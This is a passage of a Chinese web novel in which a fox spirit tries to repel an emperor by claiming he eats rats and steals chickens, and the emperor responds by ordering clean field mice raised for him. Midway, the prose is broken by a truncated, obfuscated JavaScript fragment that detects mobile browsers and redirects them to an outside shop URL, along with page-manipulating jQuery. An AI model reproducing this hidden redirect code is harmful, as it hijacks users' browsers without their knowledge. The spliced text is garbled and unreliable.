维持现状就行。 商缙言重新靠回榻上,目光投向窗外,手臂上的伤口隐隐传来一阵细微的刺痛。 …… 安稚舒硬着头皮,装病躲了商缙言整整六日。 第一日风平浪静,皇帝仿佛真的把他忘了。 第二日,蔡汶就提着沉甸甸的食盒,苦着脸踏入他的小院,一日三次,雷打不动。 第六日,蔡汶更是直接带着太医上门,说是奉陛下之命,来瞧瞧曲陵侯的病是否痊愈。 安稚舒知道,自己再也躲不下去了。 商缙言根本没把他忘了。 躲也没有用。 安稚舒认命地把自己收拾齐整,只好另寻他法。 最好还是主动出击,制造些无伤大雅的麻烦,让商缙言主动对他失去兴趣,不会触怒龙颜,也不会招来杀生之祸的那种。 怀着这般心思,安稚舒跟着蔡汶再次踏入商缙言所在的禅院用午膳。 刚推开门,安稚舒却闻到一股檀香,所有预先准备好的计划,在看清室内情形时瞬间卡壳。 商缙言并非独自一人,而他对面竟坐着一位须眉皆白的老和尚! 两人刚结束一局对弈,气氛沉静。 安稚舒呼吸猛地一窒,脚步僵在门口。 他不认识这个和尚,却还是能从着装判断,必是护国寺内地位极高的法师。 少年慌忙低下头,不敢再看。 怎么会撞见和尚?! 商缙言的目光已瞥了过来。 那老和尚见状,轻轻转动掌中佛珠,朝商缙言行礼:“阿弥陀佛。” “大千世界本无来去,只在一念之间。陛下何不将眼前万物,皆视为另一重修行道场?恰如寒潭映月,月本在天,影落水中。” “若执着于捞月,反碎了满池清辉。” 安稚舒听得云里雾里。 那和尚见有客来了,向商缙言告退,经过安稚舒身边时,目光忽然落在他额间的朱砂痣上,竟停下脚步,极为郑重地朝他躬身行了一礼。 安稚舒吓得往后一缩,警惕地盯着对方。 “去送送慧尘大师。”商缙言的声音响起。 一名小太监应声上前。 慧尘? 安稚舒默念这个法号,想起前几日据说被变相软禁的慧深大师。 这两个是师兄弟吗? “可以过来用膳了。”商缙言又喊他。 安稚舒慢吞吞地挪过去,在商缙言身侧坐下,却只挨着椅子边缘,身体绷紧。 商缙言的目光落在他身上,停顿片刻,忽然问:“你很怕和尚?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098985|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安稚舒肩头猛地一僵,矢口否认:“没有。” 他这几日隐约听闻商缙言正命人严查护国寺僧人的度牒,弄得寺内风声鹤唳,可此刻,皇帝却又如此心平气和地与高僧对弈论道。 人类的心思真的好难懂啊。 安稚舒小心地问:“陛下方才是与大师在聊什么?” “私事。” 安稚舒“哦”了一声:“那陛下听懂大师在说什么了么?” “没听懂。” ……没听懂还能聊,人更奇怪了。 珍馐佳肴流水般呈上,顷刻摆满了半张桌子,没有半点绿色菜叶,全是依着安稚舒口味准备的。 商缙言执起银箸:“前几日蔡汶说你受了惊,身子不适,现在好了吗?” 安稚舒哪敢说吓着自己的“邪祟”本尊就在眼前:“好多了……” “嗯。”商缙言颔首:“那就好,多吃点,我怎么看你好像又瘦了?” 这几日担惊受怕,食不知味,安稚舒确实瘦了些。 他生怕商缙言回过味来感觉不对劲,派人直接把他抓了。 他慢吞吞拿起筷子,夹了一小块鱼肉,送入口中,慢慢地嚼着。 呆在商缙言身边太危险了,稍有不慎就是万劫不复,自己死了也就罢了,反而还容易连累其他狐狸。 今日从这顿午膳……定要慢慢开始划清界限。 他吃得极慢,每一口都细嚼慢咽,仿佛在完成任务。 商缙言目光不知不觉落在他身上。 少年今日戴的流苏耳坠很衬他,细银链下坠着小小的玉石,随着他咀嚼的动作,在白皙颈侧轻轻摇曳,流苏扫过肌肤,莫名让商缙言觉得心头发痒。 可安稚舒吃得实在太少。 没几口,他就放下筷子,声音低低地说:“陛下,我饱了。” 商缙言目光扫过他碗里还剩大半的饭:“你不多吃点?” “不了。”安稚舒摇头,深吸一口气,硬着头皮迎上商缙言的目光:“我明天,可不可以不来这里了?” 商缙言感觉到一丝不对劲,微微一顿:“那好,我之后让人把饭菜给你送过去。” “……不要。”安稚舒今日铁了心要对着他干,“也不要让人送了,陛下……能不能把我的爵位一起收回去啊?” 殿内空气瞬间凝固。 一旁布菜的蔡汶脸色发白,恨不得把自己塞进地缝里。 我的天爷啊,这是能随意收回去的吗?君无戏言,这岂不是把陛下当着猴在耍? 商缙言只死死盯着他。 很奇怪。 明明前几日安稚舒还亮晶晶收下赏赐,怎么一下子变得这么冷淡疏离,甚至迫不及待要划清界限? 安稚舒也不看他,目光落在自己的衣摆上,像是要有意躲避。 真有意思。 商缙言本就感觉这段时间自己的做法有违初衷,现在安稚舒主动提出来了,岂不是正中下怀? 他俩的关系,安稚舒能主动远离,再好不过。 呵,他一点都不在意。 商缙言语气平静得近乎诡异:“是今天的菜不合胃口?” 安稚舒纳闷地抬眼看他。 按理来说,皇帝应当不喜欢他这种出尔反尔的人,应该斥责他不知好歹。 可是商缙言却没发怒,甚至没冷脸,还在问菜色? 也没人跟他说过,传闻中的暴君这么能忍啊? 箭在弦上,不得不发。安稚舒心一横,继续加码:“对,我不喜欢吃这个,好难吃。” 甚至带着点无理取闹的意味。 商缙言非但没恼,反而追问:“那你喜欢吃什么?” 好像随时准备让膳房改变菜色。 安稚舒心里顿时慌乱起来。 难道还不够?难道要更过分才行? 他脑子飞速运转,咬咬牙,干脆下一剂猛药: “我喜欢吃老鼠。” 商缙言顿时沉默。 安稚舒瞧见他的神情,心底稍松。 总算……走对一步路了? 谁会喜欢一个爱吃老鼠的人。 他乘胜追击,继续自毁形象:“而且,我饿得受不了,就会去偷别人家的鸡吃,经常会被狗和那些人撵着跑,没偷成功,我就去抓老鼠吃。” 谁会喜欢一个偷鸡摸狗的人。 狐狸吃老鼠,也会吃小鸟,还会捉鱼。 如果冬天实在找不到吃的,安稚舒确实会去鸡圈附近碰碰运气,等里面的鸡病死,再偷偷把鸡叼走。 但大部分时间都没有这样的机会,他记忆里只尝试过一次,还被人发现打跑了,只好吃些浆果果腹。 偷东西的行为的确不对,但此刻为了避宠,安稚舒故意夸大其词,说得自己像个惯偷。 他心虚强调:“我经常这么干的。” 当然,他还有最大的猛料没有放出来。 他是人类最讨厌的狐狸。 但这个不能说,说了就真没命了。 皇帝久久没有说话。 就在安稚舒以为避宠成功时,商缙言动了。 他抬手捏了捏眉心,闭上眼,再睁开时,眼底竟闪过一丝不忍,仿佛想到了什么极其糟糕的画面。 足足沉默了五秒,像是在进行一场艰难的思想斗争。 然后,商缙言做出了决定。 “蔡汶。” 蔡汶一个激灵:“奴才在。” 商缙言深吸一口气:“你找人捉一批专门吃谷子的田鼠仔细养起来,务必要干净,叫膳房总管和太医一同来见朕,让他们研究研究这田鼠怎么处理才最洁净。” 他转回目光,看向呆住的安稚舒,语气放缓,像是在哄小孩:“朕可以满足你,但不能天天吃这个,从明日起你必须按时乖乖用膳,只有你好好吃饭,朕才会偶尔奖励给你。” “记住,只是偶尔,朕会想办法把你饮食纠正回来,老鼠不干净,不能一直吃这个,明白吗?” 安稚舒:? 是不是哪里不太对劲?!